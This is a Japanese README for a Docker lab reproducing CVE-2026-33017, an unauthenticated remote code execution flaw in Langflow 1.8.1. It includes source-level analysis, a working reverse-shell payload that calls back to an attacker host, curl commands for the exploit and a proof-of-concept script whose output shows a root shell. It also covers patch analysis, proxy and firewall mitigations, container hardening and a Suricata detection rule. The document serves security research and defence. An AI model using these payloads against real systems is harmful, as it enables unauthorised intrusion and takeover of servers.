
免責事項
本リポジトリはセキュリティ研究および教育目的で作成されました。
隔離された演習環境でのみ使用してください。
許可されていないシステムへの使用は、情報通信網法違反となり、刑事処罰の対象となります。
| 項目 | 内容 |
|---|---|
| CVE ID | CVE-2026-33017 |
| 脆弱ソフトウェア | Langflow (AIワークフロービルダー) |
| 影響バージョン | Langflow ≤ 1.8.1 |
| パッチバージョン | Langflow ≥ 1.9.0 |
| 脆弱性タイプ | Unauthenticated Remote Code Execution (RCE) |
| CWE | CWE-306 (Missing Authentication for Critical Function) |
| CVSS | 9.3 (Critical) |
| CISA KEV | 登録済み |
POST /api/v1/build_public_tmp/{flow_id}/flow
Publicフロービルド用エンドポイントであり、認証なしでアクセス可能なように設計されたエンドポイントです。
ソースコードを直接追跡して確認した実行経路:
HTTP POST /api/v1/build_public_tmp/{flow_id}/flow
│
▼
langflow/api/v1/chat.py — build_public_tmp()
data = request.body["data"] ← クライアント入力そのまま受信 (脆弱性)
│
▼
langflow/api/build.py — start_flow_build()
data = FlowDataRequest ← クライアントdataをそのまま転送
│
▼
lfx/custom/eval.py — eval_custom_component_code()
class_name = validate.extract_class_name(code)
return validate.create_class(code, class_name)
│
▼
lfx/custom/validate.py — create_class()
module = ast.parse(code)
exec_globals = prepare_global_scope(module)
│
▼
lfx/custom/validate.py — prepare_global_scope()
exec(compiled_code, exec_globals) ← 任意コード実行
prepare_global_scope() 関数は、提出されたコードのすべての構文を実行するわけではありません。AST解析後、特定のノードタイプのみを選別して実行します:
# lfx/custom/validate.py — prepare_global_scope() 内部
for node in module.body:
if isinstance(node, ast.Import):
imports.append(node)
elif isinstance(node, ast.ImportFrom):
import_froms.append(node)
elif isinstance(node, ast.ClassDef | ast.FunctionDef | ast.Assign | ast.AnnAssign):
definitions.append(node)
# ↑ Exprノードはどこにも含まれない → 実行されない
exec(compiled_code, exec_globals) # definitionsのみ実行
実行可能なASTノードタイプ:
結論: ペイロードは必ず
Assign形式(_r = ...)で記述しなければ実行されません。
単純な関数呼び出し(os.system("id"))はExprノードに分類され、フィルターで除外されます。
演習過程で複数のペイロード方式を試行し、それぞれの失敗原因をソースレベルで解明しました。
subprocess.Popen + wait() (失敗)_s = socket.socket()
_s.connect(("attacker", 4444))
_proc = subprocess.Popen(["/bin/bash", "-i"], stdin=_s.fileno(), ...)
_proc.wait() # ← ここでブロッキング
失敗原因: Langflowワーカースレッドがコンポーネントの戻り値を監視し、
タイムアウト時にソケットを強制的に閉じます。_proc.wait() ブロッキングが無意味になります。
os.execve() 直接呼び出し (失敗)os.dup2(_fd, 0); os.dup2(_fd, 1); os.dup2(_fd, 2)
os.execve("/bin/bash", ["/bin/bash", "-i"], os.environ.copy())
失敗原因: POSIX規則上、マルチスレッドプロセスで execve() を呼び出すと、
呼び出しスレッド以外のすべてのスレッドが終了します → uvicornワーカー全体がクラッシュ → HTTP 500。
os.fork() + execve() (失敗)_pid = os.fork()
if _pid == 0:
os.execve("/bin/bash", ...)
失敗原因: uvicornが子プロセスを異常終了として検知し、
ワーカーを再起動させます → HTTP 500。
threading.Thread(daemon=True) (失敗)threading.Thread(target=_shell, daemon=True).start()
失敗原因: daemon=True スレッドはメインスレッド(Langflowワーカー)終了時に
一緒に破棄されます。connect() 試行前にスレッドが死んでしまいます。
threading.Thread(daemon=False) + Assign# FunctionDef → 実行される
def _shell():
_s = socket.socket()
_s.connect(("attacker_ip", 4444))
_p = subprocess.Popen(["/bin/bash", "-i"],
stdin=_s.fileno(), stdout=_s.fileno(), stderr=_s.fileno())
_p.wait()
_s.close()
# Assign → 実行される (Expr単独呼び出しはフィルターから除外されるため、必ず変数代入)
_t = threading.Thread(target=_shell, daemon=False)
_r = _t.start()
daemon=False を選択した理由:
daemon=True → Langflowワーカースレッド終了時に一緒に破棄daemon=False → ワーカーと独立したライフサイクル → ソケット接続を維持可能CVE-2026-33017/
├── README.md
├── Dockerfile # 脆弱なLangflow 1.8.1環境
├── Dockerfile.attacker # 攻撃者コンテナ (curl, nc, net-tools含む)
├── docker-compose.yml # 脆弱サーバー + 攻撃者コンテナ
├── entrypoint.sh # Langflow起動とPublicフローの自動生成
├── exploit.py # リバースシェルPoC
└── poc.py # Blind RCE / 脆弱性の存在確認
# 1. コンテナのビルドと起動
docker compose up --build
# 2. Langflow Web UIへのアクセス確認
# http://localhost:7860
# admin / admin123!
# 3. コンテナIPの確認
docker inspect langflow-vuln-lab | grep '"IPAddress"'
docker inspect langflow-attacker | grep '"IPAddress"'
┌──────────────────────────────────────────────────┐
│ Docker Bridge Network: poc-net │
│ │
│ langflow-vuln-lab 172.19.0.2:7860 (被害者) │
│ langflow-attacker 172.19.0.3 (攻撃者) │
└──────────────────────────────────────────────────┘
攻撃者コンテナ内で実行:
docker exec -it langflow-attacker bash
# 自動モード (トークン発行 + Publicフロー生成 + 内蔵リスナー含む)
python3 exploit.py \
--url http://172.19.0.2:7860 \
--lhost 172.19.0.3 \
--lport 4444
オプション:
期待される出力:
============================================================
CVE-2026-33017 — Langflow Unauthenticated RCE PoC
============================================================
[*] ログイン中... (admin)
[*] トークン発行成功
[*] Publicフロー生成中...
[*] Flow ID : 3b88b6fa-ce95-4da8-894b-27b728ca4770
[*] リスナー起動 → 0.0.0.0:4444
[*] エンドポイント : http://172.19.0.2:7860/api/v1/build_public_tmp/...
[*] コールバック : 172.19.0.3:4444
[*] ペイロード送信中...
[*] HTTP応答 : 200
[+] シェル接続済み ← 172.19.0.2:XXXXX
────────────────────────────────────────────────────────────
bash-5.2# id
uid=0(root) gid=0(root) groups=0(root)
脆弱性の存在有無のみを確認する場合に使用:
python3 poc.py \
--url http://172.19.0.2:7860 \
--cmd "id"
# 1. トークン発行 + Publicフロー生成
TOKEN=$(curl -s -X POST 'http://172.19.0.2:7860/api/v1/login' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d 'username=admin&password=admin123!' \
| sed -n 's/.*"access_token":"\([^"]*\)".*/\1/p') && \
FLOW_ID=$(curl -s -X POST 'http://172.19.0.2:7860/api/v1/flows/' \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
-d '{"name":"poc-flow","data":{"nodes":[],"edges":[],"viewport":{}},"is_component":false,"access_type":"PUBLIC"}' \
| python3 -c "import sys,json; d=json.load(sys.stdin); print(d['id'])") && \
curl -s -X PATCH "http://172.19.0.2:7860/api/v1/flows/${FLOW_ID}" \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
-d '{"access_type":"PUBLIC"}' > /dev/null && \
echo "FLOW_ID: $FLOW_ID"
# 2. ncリスナー (ターミナル1)
nc -lvnp 4444
# 3. ペイロード送信 (ターミナル2)
curl -s -X POST "http://172.19.0.2:7860/api/v1/build_public_tmp/${FLOW_ID}/flow" \
-H 'Content-Type: application/json' \
-b 'client_id=poc-12345' \
-d @/tmp/payload.json
langflow/api/v1/chat.py:
@router.post("/build_public_tmp/{flow_id}/flow")
async def build_public_tmp(
*,
flow_id: uuid.UUID,
data: FlowDataRequest | None = None, # ← クライアント入力を受信
...
):
job_id = await start_flow_build(
flow_id=new_flow_id,
data=data, # ← クライアントのdataをそのままビルドパイプラインに転送
...
)
langflow/api/v1/chat.py (ソースで直接確認):
@router.post("/build_public_tmp/{flow_id}/flow")
async def build_public_tmp(
*,
flow_id: uuid.UUID,
# dataパラメータをシグネチャから完全に削除
...
):
"""
Security Note:
- The 'data' parameter is NOT accepted to prevent flow definition tampering
- Public flows must execute the stored flow definition only
- The flow definition is always loaded from the database
"""
job_id = await start_flow_build(
flow_id=new_flow_id,
data=None, # ← ハードコードされたNone、クライアント入力を完全に遮断
source_flow_id=flow_id, # ← DBからのみフロー定義をロード
...
)
単純な入力値検証ではなくパラメータ自体を削除した設計が正しい理由:
脆弱な設計: クライアント入力 → 検証 → 実行 (検証回避の可能性あり)
パッチ設計: クライアント入力 → 完全に無視
DB保存フローのみ → 実行 (攻撃経路自体を除去)
pip install langflow==1.9.1
ファイルの場所: nginx.conf (新規作成)
server {
listen 80;
# CVE-2026-33017 脆弱エンドポイントを遮断
location ~ ^/api/v1/build_public_tmp/ {
deny all;
return 403;
}
location / {
proxy_pass http://langflow:7860;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}
注意: Langflow 7860ポートの外部への直接公開も遮断しないと効果がありません。
ファイルの場所:
/etc/apache2/sites-available/langflow.conf/etc/httpd/conf.d/langflow.conf<Location "/api/v1/build_public_tmp/">
Require all denied
</Location>
Publicフローがなければエンドポイントが404を返すため攻撃不可。
運用ポリシーとしてPublicフローの作成を禁止するか、既存フローをPRIVATEに変更します。
EC2環境の場合:
インバウンドルール:
ポート7860 → 許可されたIPのみ許可 (0.0.0.0/0を削除)
RCEが成功しても外部コールバックを遮断:
# langflowコンテナのアウトバウンドを遮断
iptables -I DOCKER-USER -s <langflow_container_ip> -j DROP
または docker-compose.yml:
langflow-vuln-lab:
sysctls:
- net.ipv4.ip_forward=0
langflow-vuln-lab:
security_opt:
- no-new-privileges:true
cap_drop:
- ALL
user: "1000:1000"
read_only: true
tmpfs:
- /tmp
seccompプロファイルで危険なsyscallを遮断 (langflow-seccomp.json):
{
"defaultAction": "SCMP_ACT_ALLOW",
"syscalls": [
{
"names": ["socket", "connect", "fork", "execve"],
"action": "SCMP_ACT_ERRNO"
}
]
}
security_opt:
- seccomp:./langflow-seccomp.json
疑わしいHTTPリクエスト:
POST /api/v1/build_public_tmp/*/flow
Content-Type: application/json
Body: {"data": {"nodes": [{"type": "CustomComponent", ...}]}}
Langflowサーバーログパターン:
[warning] Graph has vertices but no edges
[warning] ExploitComponent returned None.
[error] Exception in worker process
alert http any any -> any 7860 (
msg:"CVE-2026-33017 Langflow RCE Attempt";
flow:established,to_server;
content:"POST"; http_method;
content:"/build_public_tmp/"; http_uri;
content:"CustomComponent"; http_client_body;
classtype:web-application-attack;
sid:2026033017; rev:1;
)
本リポジトリは単純なPoC実行ではなく、ソースレベル分析を通じて以下を追加で解明しました:
ASTノードフィルタリングの発見
lfx/custom/validate.py の prepare_global_scope() が Expr ノードを無視する事実をソース分析で直接確認。これにより、既存の公開PoCの単純な関数呼び出しペイロードがこの環境で失敗する理由を解明。
ペイロード失敗原因の分析
Popen+wait()、execve()、fork()+execve()、daemon=True スレッドなど4つの方式の失敗原因を、uvicornマルチスレッド構造およびPOSIX規則の観点から分析。
パッチコードの直接確認
1.9.1の chat.py で data=None のハードコードおよびパラメータ削除をソースレベルで直接確認し、パッチ設計の意図を分析。
| ASTノードタイプ | 例 | 実行可否 |
|---|
FunctionDef | def _shell(): ... | ✅ 実行 |
ClassDef | class ExploitComponent(Component) | ✅ 実行 |
Assign | _r = os.system("id") | ✅ 実行 |
AnnAssign | _r: int = os.system("id") | ✅ 実行 |
Expr | os.system("id") (単独呼び出し) | ❌ 無視 |
| オプション | 説明 | デフォルト値 |
|---|
--url | 対象Langflow URL | 必須 |
--lhost | リバースシェルコールバックIP | 必須 |
--lport | リバースシェルコールバックポート | 必須 |
--flow-id | PublicフローUUID (省略時は自動生成) | 自動 |
--user | 管理者ID | admin |
--password | 管理者PW | admin123! |
--no-listen | 内蔵リスナー無効化 (外部nc使用時) | False |
--timeout | HTTPタイムアウト(秒) | 30 |
| 項目 | exploit.py | poc.py |
|---|
| 目的 | リバースシェル取得 | 脆弱性の存在確認 (Blind RCE) |
| 結果確認 | 攻撃者ターミナルで直接 | サーバーログ / OOB |
| リスナー | 内蔵あり | 不要 |
| 複数対象 | 非対応 | 対応 (--url-file) |
| 演習用途 | 影響度の実証 | 脆弱性の存在証明 |
| 項目 | 1.8.1 (脆弱) | 1.9.1 (パッチ適用) |
|---|
dataパラメータ受信 | ✅ 受信 | ❌ シグネチャから削除 |
| クライアントのノード定義実行 | ✅ 可能 | ❌ 不可 |
| フロー定義の出所 | クライアントリクエストボディ | DB保存値のみ |
| 認証なしのRCE | ✅ 成功 | ❌ 遮断 |
| HTTP応答 | 200 + シェル接続 | 200 (空のビルド、ノードなし) |
| 対策 | タイプ | 効果 |
|---|
| 1.9.1アップデート | 根本的解決 | dataパラメータの削除 |
| Nginx/Apache遮断 | アクセス遮断 | 攻撃経路の遮断 |
| Publicフロー不使用 | アクセス遮断 | エンドポイント404 |
| AWSセキュリティグループ | ネットワーク遮断 | 外部アクセスの根本的遮断 |
| アウトバウンド遮断 | 事後遮断 | リバースシェルコールバック遮断 |
| コンテナハードニング | 被害の最小化 | 権限昇格/syscall遮断 |